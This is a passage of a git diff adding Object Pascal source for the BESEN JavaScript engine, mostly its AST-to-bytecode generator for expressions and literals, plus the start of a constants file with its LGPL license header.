CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end else begin + if IsValue(r1) or IsLocalVariableReference(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + end; + r3:=-1; + Visit(TBESENASTNodePropertyExpression(ToVisit).RightExpression,r3,true); + if r3<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r3) then begin + r4:=r3; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r3,r4); + end; + if not IsValueObject(r1) then begin + Code.GenOp(bopCHECKOBJECTCOERCIBLE,r2); + end; + if IsValueNumber(r3) then begin + r5:=r4; + if TBESENASTNodePropertyExpression(ToVisit).RightExpression.NodeType=bntNUMBERLITERAL then begin + Code.GenOp(bopAREF,DestRegNr,r2,r4,BESENHashKey(TBESEN(Instance).ToStr(BESENNumberValue(TBESENASTNodeNumberLiteral(TBESENASTNodePropertyExpression(ToVisit).RightExpression).Value)))); + end else begin + Code.GenOp(bopAREF,DestRegNr,r2,r4,0); + end; + end else begin + if IsValueString(r3) then begin + r5:=r4; + end else begin + r5:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOSTRING,r5,r4); + end; + if TBESENASTNodePropertyExpression(ToVisit).RightExpression.NodeType=bntSTRINGLITERAL then begin + Code.GenOp(bopREF,DestRegNr,r2,r5,TBESEN(Instance).KeyIDManager.Get(TBESENASTNodeStringLiteral(TBESENASTNodePropertyExpression(ToVisit).RightExpression).Value),BESENHashKey(TBESENASTNodeStringLiteral(TBESENASTNodePropertyExpression(ToVisit).RightExpression).Value),Code.GenPolymorphicInlineCacheInstruction,-1,-1,-1,-1); + end else begin + Code.GenOp(bopREF,DestRegNr,r2,r5,TBESENINT32($fefefefe),0,Code.GenPolymorphicInlineCacheInstruction,-1,-1,-1,-1); + end; + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + CodeGeneratorContext.DeallocateRegister(r4); + CodeGeneratorContext.DeallocateRegister(r5); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtREFERENCE; + end; + bntLOGICALANDEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + + vta:=CodeGeneratorContext.VariableGetTypes; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + pr:=Code.Here; + r1:=-1; + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) and not IsLocalVariableReference(r1) then begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.VariableSetTypes(vta); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(pr); + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression,DestRegNr,true); + end else begin + GenGetValue(r1,DestRegNr); + end; + IsWhat1:=CodeGeneratorContext.Registers[DestRegNr].IsWhat; + if IsValueBoolean(DestRegNr) then begin + r2:=DestRegNr; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOBOOLEAN,r2,DestRegNr); + end; + L1:=Code.GenOp(bopJZ,0,r2)+1; + L2:=Code.GenOp(bopJMP,0)+1; + Code.GenLabel(L1); + CodeGeneratorContext.DeallocateRegister(r1); + if r2<>DestRegNr then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + r2:=-1; + + vta:=CodeGeneratorContext.VariableGetTypes; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + pr:=Code.Here; + r1:=-1; + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) and not IsLocalVariableReference(r1) then begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.VariableSetTypes(vta); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(pr); + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression,DestRegNr,true); + end else begin + GenGetValue(r1,DestRegNr); + end; + IsWhat2:=CodeGeneratorContext.Registers[DestRegNr].IsWhat; + Code.GenLabel(L2); + CodeGeneratorContext.DeallocateRegister(r1); + + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=IsWhat1 or IsWhat2; + + end; + bntLOGICALOREXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + + vta:=CodeGeneratorContext.VariableGetTypes; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + pr:=Code.Here; + r1:=-1; + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) and not IsLocalVariableReference(r1) then begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.VariableSetTypes(vta); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(pr); + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression,DestRegNr,true); + end else begin + GenGetValue(r1,DestRegNr); + end; + IsWhat1:=CodeGeneratorContext.Registers[DestRegNr].IsWhat; + if IsValueBoolean(DestRegNr) then begin + r2:=DestRegNr; + end else begin + Code.GenOp(bopTOBOOLEAN,r2,DestRegNr); + end; + L1:=Code.GenOp(bopJZ,0,r2)+1; + CodeGeneratorContext.DeallocateRegister(r1); + if r2<>DestRegNr then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + r2:=-1; + + vta:=CodeGeneratorContext.VariableGetTypes; + CodeGeneratorContext.GetRegisterStates(RegStates[0]); + pr:=Code.Here; + r1:=-1; + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) and not IsLocalVariableReference(r1) then begin + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.VariableSetTypes(vta); + CodeGeneratorContext.SetRegisterStates(RegStates[0]); + Code.Restore(pr); + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression,DestRegNr,true); + end else begin + GenGetValue(r1,DestRegNr); + end; + IsWhat2:=CodeGeneratorContext.Registers[DestRegNr].IsWhat; + CodeGeneratorContext.DeallocateRegister(r1); + Code.GenLabel(L1); + + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=IsWhat1 or IsWhat2; + end; + bntDELETEEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=-1; + Visit(TBESENASTNodeDeleteExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if TBESENASTNodeDeleteExpression(ToVisit).SubExpression.NodeType=bntIDENTIFIER then begin + CodeGeneratorContext.VariableSetFlags(TBESENASTNodeIdentifier(TBESENASTNodeDeleteExpression(ToVisit).SubExpression).Name,false,false); + end; + Code.GenOp(bopDELETE,DestRegNr,r1); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + AssignSetType(TBESENASTNodeDeleteExpression(ToVisit).SubExpression,bvtUNDEFINED); + end; + bntPOSTFIXINCEXPRESSION:begin + if IsNodeLocalVarReg(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression,r1) then begin + r1:=-1; + Visit(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression,r1,true); + if IsValueNumber(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r2,r1); + end; + if (CalleeNeedReturnedValue and (DestRegNr<0)) or (DestRegNr>=0) then begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenOp(bopCOPYNUM,DestRegNr,r2); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + Code.GenOp(bopINC,r1,r2); + AssignSetType(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression,bvtNUMBER); + if r1<>r2 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end else begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + PR:=Code.Here; + r1:=-1; + vta:=CodeGeneratorContext.VariableGetTypes; + Visit(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if (not DoHasLocalDelete) and ((CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0) and + CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + if IsValueNumber(r1) then begin + GenGetValueEx(r1,DestRegNr); + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValueEx(r1,r2); + Code.GenOp(bopTONUMBER,DestRegNr,r2); + end; + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopINC,r3,DestRegNr); + GenPutValueEx(r1,r3,bvtNUMBER); + end else begin + if (CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0 then begin + if not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end else begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + if IsValueNumber(r1) then begin + GenGetValue(r1,DestRegNr); + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + Code.GenOp(bopTONUMBER,DestRegNr,r2); + end; + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopINC,r3,DestRegNr); + GenPutValue(r1,r3,bvtNUMBER); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + AssignSetWhatType(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + bntPOSTFIXDECEXPRESSION:begin + if IsNodeLocalVarReg(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression,r1) then begin + r1:=-1; + Visit(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression,r1,true); + if IsValueNumber(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r2,r1); + end; + if (CalleeNeedReturnedValue and (DestRegNr<0)) or (DestRegNr>=0) then begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenOp(bopCOPYNUM,DestRegNr,r2); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + Code.GenOp(bopDEC,r1,r2); + AssignSetType(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression,bvtNUMBER); + if r1<>r2 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end else begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + PR:=Code.Here; + r1:=-1; + vta:=CodeGeneratorContext.VariableGetTypes; + Visit(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if (not DoHasLocalDelete) and ((CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0) and + CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + if IsValueNumber(r1) then begin + GenGetValueEx(r1,DestRegNr); + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValueEx(r1,r2); + Code.GenOp(bopTONUMBER,DestRegNr,r2); + end; + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopDEC,r3,DestRegNr); + GenPutValueEx(r1,r3,bvtNUMBER); + end else begin + if (CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0 then begin + if not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end else begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + if IsValueNumber(r1) then begin + GenGetValue(r1,DestRegNr); + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + Code.GenOp(bopTONUMBER,DestRegNr,r2); + end; + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopDEC,r3,DestRegNr); + GenPutValue(r1,r3,bvtNUMBER); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + AssignSetWhatType(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + bntPREFIXINCEXPRESSION:begin + if IsNodeLocalVarReg(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression,r1) then begin + r1:=-1; + Visit(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression,r1,true); + if IsValueNumber(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r2,r1); + end; + Code.GenOp(bopINC,r1,r2); + if (CalleeNeedReturnedValue and (DestRegNr<0)) or (DestRegNr>=0) then begin + if DestRegNr<0 then begin + DestRegNr:=r1; + end else begin + Code.GenOp(bopCOPYNUM,DestRegNr,r1); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + end; + AssignSetType(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression,bvtNUMBER); + if r1<>r2 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end else begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + PR:=Code.Here; + r1:=-1; + vta:=CodeGeneratorContext.VariableGetTypes; + Visit(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if (not DoHasLocalDelete) and ((CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0) and + CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + r2:=CodeGeneratorContext.AllocateRegister; + if IsValueNumber(r1) then begin + GenGetValueEx(r1,r2); + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValueEx(r1,r3); + Code.GenOp(bopTONUMBER,r2,r3); + CodeGeneratorContext.DeallocateRegister(r3); + end; + Code.GenOp(bopINC,DestRegNr,r2); + GenPutValueEx(r1,DestRegNr,bvtNUMBER); + end else begin + if (CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0 then begin + if not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end else begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + r2:=CodeGeneratorContext.AllocateRegister; + if IsValueNumber(r1) then begin + GenGetValue(r1,r2); + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r3); + Code.GenOp(bopTONUMBER,r2,r3); + CodeGeneratorContext.DeallocateRegister(r3); + end; + Code.GenOp(bopINC,DestRegNr,r2); + GenPutValue(r1,DestRegNr,bvtNUMBER); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + AssignSetWhatType(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + bntPREFIXDECEXPRESSION:begin + if IsNodeLocalVarReg(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression,r1) then begin + r1:=-1; + Visit(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression,r1,true); + if IsValueNumber(r1) then begin + r2:=r1; + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r2,r1); + end; + Code.GenOp(bopDEC,r1,r2); + if (CalleeNeedReturnedValue and (DestRegNr<0)) or (DestRegNr>=0) then begin + if DestRegNr<0 then begin + DestRegNr:=r1; + end else begin + Code.GenOp(bopCOPYNUM,DestRegNr,r1); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + end; + AssignSetType(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression,bvtNUMBER); + if r1<>r2 then begin + CodeGeneratorContext.DeallocateRegister(r2); + end; + end else begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + PR:=Code.Here; + r1:=-1; + vta:=CodeGeneratorContext.VariableGetTypes; + Visit(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if (not DoHasLocalDelete) and ((CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0) and + CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.Restore(PR); + CodeGeneratorContext.VariableSetTypes(vta); + r2:=CodeGeneratorContext.AllocateRegister; + if IsValueNumber(r1) then begin + GenGetValueEx(r1,r2); + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValueEx(r1,r3); + Code.GenOp(bopTONUMBER,r2,r3); + CodeGeneratorContext.DeallocateRegister(r3); + end; + Code.GenOp(bopDEC,DestRegNr,r2); + GenPutValueEx(r1,DestRegNr,bvtNUMBER); + end else begin + if (CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0 then begin + if not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end else begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + r2:=CodeGeneratorContext.AllocateRegister; + if IsValueNumber(r1) then begin + GenGetValue(r1,r2); + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r3); + Code.GenOp(bopTONUMBER,r2,r3); + CodeGeneratorContext.DeallocateRegister(r3); + end; + Code.GenOp(bopDEC,DestRegNr,r2); + GenPutValue(r1,DestRegNr,bvtNUMBER); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + AssignSetWhatType(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + bntNULLLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLiteral(BESENNullValue,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNULL; + end; + bntNUMBERLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLiteral(BESENNumberValue(TBESENASTNodeNumberLiteral(ToVisit).Value),DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end; + bntREGEXPLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + if CodeGeneratorContext.MaxParamArgs<2 then begin + CodeGeneratorContext.MaxParamArgs:=2; + end; + r1:=CodeGeneratorContext.AllocateRegister; + r2:=CodeGeneratorContext.AllocateRegister; + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopREGEXP,r1); + Code.GenLiteral(BESENStringValue(TBESENASTNodeRegExpLiteral(ToVisit).Source),r2); + Code.GenLiteral(BESENStringValue(TBESENASTNodeRegExpLiteral(ToVisit).Flags),r3); + Code.GenOp(bopNEW,DestRegNr,r1,2,r2,r3); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end; + bntSTRINGLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLiteral(BESENStringValue(TBESENASTNodeStringLiteral(ToVisit).Value),DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + end; + bntTHISLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenOp(bopTHIS,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + end; + bntOBJECTLITERALPROPERTY:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + case TBESENASTNodeObjectLiteralProperty(ToVisit).PropertyType of + banolptACCESSOR:begin + if assigned(TBESENASTNodeObjectLiteralProperty(ToVisit).Container) then begin + r1:=CodeGeneratorContext.AllocateRegister; + Code.GenLiteral(BESENStringValue(TBESENASTNodeObjectLiteralProperty(ToVisit).Name),r1); + r2:=-1; + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + CodeGeneratorContext.DeallocateRegister(r2); + r2:=CodeGeneratorContext.AllocateRegister; + Code.GenFunction(TBESENASTNodeObjectLiteralProperty(ToVisit).Container,r2); + case TBESENASTNodeObjectLiteralProperty(ToVisit).PropertyAccessorType of + banolpatGET:begin + Code.GenOp(bopPUTOBJGET,DestRegNr,r1,r2); + end; + banolpatSET:begin + Code.GenOp(bopPUTOBJSET,DestRegNr,r1,r2); + end; + else begin + Code.GenOp(bopPUTOBJVALUE,DestRegNr,r1,r2); + end; + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + end; + end; + banolptDATA:begin + r1:=CodeGeneratorContext.AllocateRegister; + Code.GenLiteral(BESENStringValue(TBESENASTNodeObjectLiteralProperty(ToVisit).Name),r1); + r2:=-1; + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Value,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) then begin + Code.GenOp(bopPUTOBJVALUE,DestRegNr,r1,r2); + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r3); + Code.GenOp(bopPUTOBJVALUE,DestRegNr,r1,r3); + end; + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + CodeGeneratorContext.DeallocateRegister(r3); + end; + end; + end; + bntOBJECTLITERAL:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + r1:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopOBJECT,r1); + Code.GenOp(bopNEW,DestRegNr,r1,0); + CodeGeneratorContext.DeallocateRegister(r1); + for Counter:=0 to length(TBESENASTNodeObjectLiteral(ToVisit).Properties)-1 do begin + Visit(TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter],DestRegNr,true); + end; + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + end; + bntRETURNSTATEMENT:begin + Code.GenLocation(ToVisit.Location); + if assigned(TBESENASTNodeReturnStatement(ToVisit).Expression) then begin + r1:=-1; + Visit(TBESENASTNodeReturnStatement(ToVisit).Expression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r1) or IsLocalVariableReference(r1) then begin + GenSetC(r1); + CodeGeneratorContext.DeallocateRegister(r1); + end else begin + r2:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r2); + GenSetC(r2); + CodeGeneratorContext.DeallocateRegister(r1); + CodeGeneratorContext.DeallocateRegister(r2); + end; + Code.GenOp(bopEND,0); + end else begin + Code.GenOp(bopSETCUNDEF); + Code.GenOp(bopEND,0); + end; + end; + bntPROGRAM:begin + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + Code.GenLocation(ToVisit.Location); + OldOptimizeLocals:=OptimizeLocals; + OldDoHoldLocalVariablesInRegisters:=DoHoldLocalVariablesInRegisters; + OptimizeLocals:=false; + DoHoldLocalVariablesInRegisters:=false; + Visit(TBESENASTNodeProgram(ToVisit).Body,DestRegNr,CalleeNeedReturnedValue or (DestRegNr>=0)); + OptimizeLocals:=OldOptimizeLocals; + DoHoldLocalVariablesInRegisters:=OldDoHoldLocalVariablesInRegisters; + if TBESENCode(TBESENASTNodeProgram(ToVisit).Body.Code).ByteCodeLen=0 then begin + TBESENCode(TBESENASTNodeProgram(ToVisit).Body.Code).GenOp(bopEND,0); + end; + TBESENCode(TBESENASTNodeProgram(ToVisit).Body.Code).Finish; + end; + bntFUNCTIONEXPRESSION:begin + if DestRegNr<0 then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + r1:=-1; + Visit(TBESENASTNodeFunctionExpression(ToVisit).Container.Literal,r1,false); + CodeGeneratorContext.DeallocateRegister(r1); + Code.GenFunction(TBESENASTNodeFunctionExpression(ToVisit).Container,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + end; + end; + end; + end; + if CalleeNeedReturnedValue and (DestRegNr<0) then begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopLITERALUNDEF,DestRegNr); + end; + for Counter:=low(RegStates) to high(RegStates) do begin + SetLength(RegStates[Counter].Registers,0); + end; + SetLength(vta,0); + SetLength(vtb,0); + SetLength(vtc,0); + SetLength(vtd,0); + SetLength(vte,0); + SetLength(vtTemp,0); + SetLength(vtBegin,0); + SetLength(vtInner,0); + SetLength(vtEnd,0); + SetLength(Operands,0); + end; + var tr:integer; + begin + Code:=TBESENCode.Create(Instance); + try + CodeGeneratorContext:=TBESENCodeGeneratorContext.Create(Instance); + try + CodeGeneratorContext.Code:=Code; + DoHasLocalDelete:=false; + DoIsComplexFunction:=false; + DoHasMaybeDirectEval:=false; + OptimizeLocals:=false; + HasFunctions:=false; + DoHoldLocalVariablesInRegisters:=false; + tr:=-1; + Visit(RootNode,tr,false); + finally + CodeGeneratorContext.Free; + end; + finally + Code.Free; + end; + end; +var Parser:TBESENParser; + RootNode:TBESENASTNode; +{$ifndef BESENNoFPU} + OldFPUExceptionMask:TFPUExceptionMask; + OldFPURoundingMode:TFPURoundingMode; + OldFPUPrecisionMode:TFPUPrecisionMode; +{$endif} +begin + result:=nil; + Parser:=nil; + RootNode:=nil; +{$ifndef BESENNoFPU} + OldFPUExceptionMask:=GetExceptionMask; + OldFPURoundingMode:=GetRoundMode; + OldFPUPrecisionMode:=GetPrecisionMode; +{$endif} + try +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>BESENFPUExceptionMask then begin + SetExceptionMask(BESENFPUExceptionMask); + end; + if OldFPURoundingMode<>rmNearest then begin + SetRoundMode(rmNearest); + end; + if OldFPUPrecisionMode<>BESENFPUPrecisionMode then begin + SetPrecisionMode(BESENFPUPrecisionMode); + end; +{$endif} + try + // Parse the code + Parser:=TBESENParser.Create(Instance); + if IsFunction then begin + Parser.Lexer.Source:='function('+Parameters+'){'+InputSource+'}'; + end else begin + Parser.Lexer.Source:=InputSource; + end; + Parser.Init; + RootNode:=Parser.Parse(IsFunction,IsJSON); + BESENFreeAndNil(Parser); + + // Scan, collect variables/functions and preprocess the abstract syntax tree + ScanCollectAndPreprocess(RootNode); + + // Optimize the abstract syntax tree + RootNode:=Optimize(RootNode); + + // Generate the byte code + GenerateByteCode(RootNode); + + if assigned(RootNode) then begin + result:=RootNode; + end; + except + BESENFreeAndNil(RootNode); + BESENFreeAndNil(Parser); + raise; + end; + finally +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>BESENFPUExceptionMask then begin + SetExceptionMask(OldFPUExceptionMask); + end; + if OldFPURoundingMode<>rmNearest then begin + SetRoundMode(OldFPURoundingMode); + end; + if OldFPUPrecisionMode<>BESENFPUPrecisionMode then begin + SetPrecisionMode(OldFPUPrecisionMode); + end; +{$endif} + end; +end; + + +end. diff --git a/Core/JS/BESENConstants.pas b/Core/JS/BESENConstants.pas new file mode 100644 index 0000000..9200bd3 --- /dev/null +++ b/Core/JS/BESENConstants.pas @@ -0,0 +1,103 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: 